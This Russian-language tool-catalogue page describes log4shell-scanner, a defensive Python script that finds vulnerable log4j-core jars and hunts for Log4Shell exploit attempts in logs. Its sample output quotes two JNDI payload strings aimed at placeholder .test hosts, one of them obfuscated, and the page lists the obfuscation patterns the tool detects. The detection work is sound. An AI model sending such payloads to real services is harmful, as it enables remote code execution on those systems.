Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4shell-scanner — Легковесный сканер, который обнаруживает уязвимые версии Log4j и индикаторы Log4Shell (CVE-2021-44228) в дереве файловой системы. | Kitploit
Инструменты/GitHubGitHub/arpitgupta369/log4shell-scanner
Оборонительные ИнструментыСканеры уязвимостейАнализ уязвимостейБезопасность Цепочки ПоставокОбучение и ОбразованиеАнализ Журналов
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Легковесный сканер, который обнаруживает уязвимые версии Log4j и индикаторы Log4Shell (CVE-2021-44228) в дереве файловой системы.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1 месяц назадЕщё не проверено

log4shell-scanner

Независимый от зависимостей защитный сканер для Log4Shell — находит уязвимые jar-файлы log4j-core и шаблоны эксплойтов JNDI в журналах и конфигурациях.

Зачем этот проект

Во время моей ротации в CERT-In я занимался идентификацией угроз, сдерживанием, устранением последствий и охотой на угрозы — именно тем рабочим процессом, который требовал Log4Shell (CVE-2021-44228) в масштабе в декабре 2021 года: найти каждый уязвимый артефакт log4j-core по всему парку и искать в журналах попытки эксплуатации ${jndi:...}. Этот сканер воспроизводит этот защитный рабочий процесс в одном переносимом скрипте на Python со стандартной библиотекой, которому не нужно ничего устанавливать на проверяемом хосте.

Возможности

  • Обнаружение архивов — обходит дерево каталогов в поисках файлов .jar / .war / .ear.
  • Авторитетное определение версии — читает pom.properties и MANIFEST.MF внутри каждого архива с помощью zipfile, при необходимости возвращаясь к имени файла; отличает настоящие log4j-core от посторонних jar-файлов.
  • Пометка CVE в семействе Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (неполное исправление) — до 2.15.0
    • CVE-2021-45105 (DoS) — до 2.16.0
  • Охота на шаблоны эксплойтов — ищет в журналах/конфигурациях/исходниках ${jndi:ldap:// и распространённые обфускации (${${lower:j}ndi:…}, разделение скобками j}ndi:, ${::-j}).
  • Действенные меры по устранению — обновление до 2.17.1+, или удаление JndiLookup.class, плюс рекомендации по мониторингу исходящего трафика.
  • Встроенное демо-дерево с поддельным уязвимым log4j-core-2.14.1.jar (настоящий zip с pom.properties от log4j-core), исправленным 2.17.1.jar, посторонним jar-файлом и журналом с полезной нагрузкой JNDI.
  • --demo собирает и сканирует демо-дерево от начала до конца.
  • Только стандартная библиотека Python (os, re, zipfile). Без зависимостей.

Технологический стек

Python 3 (только стандартная библиотека: argparse, os, re, zipfile).

Установка

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

Использование

Запустите демо на встроенном демо-дереве:

root@kitploit:~
python log4shell_scan.py --demo

Ожидаемый вывод (сокращённый):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

Сканируйте любую директорию, которую вы уполномочены проверить:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

Код завершения процесса — 1, если найдено что-то уязвимое или подозрительное, 0, если всё чисто — удобно для шлюзов CI/конвейеров.

Пересоберите демо-дерево в любое время:

root@kitploit:~
python log4shell_scan.py --build-samples

Структура проекта

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

Отказ от ответственности

Только для образовательного, защитного и авторизованного использования. Запускайте только на системах и артефактах, которые вам разрешено проверять. Сканер только читает и сопоставляет шаблоны — он никогда не выполняет и не эксплуатирует ничего. Встроенные образцы jar-файлов являются сфабрикованными заглушками, а не подлинными артефактами Apache, и все имена хостов полезной нагрузки используют не маршрутизируемые имена .test. Сопоставления версий и CVE приведены для ориентировки; сверьтесь с официальными CVE и рекомендациями по безопасности Apache Log4j.


Автор: Arpit Gupta — LinkedIn · GitHub

Скачать инструмент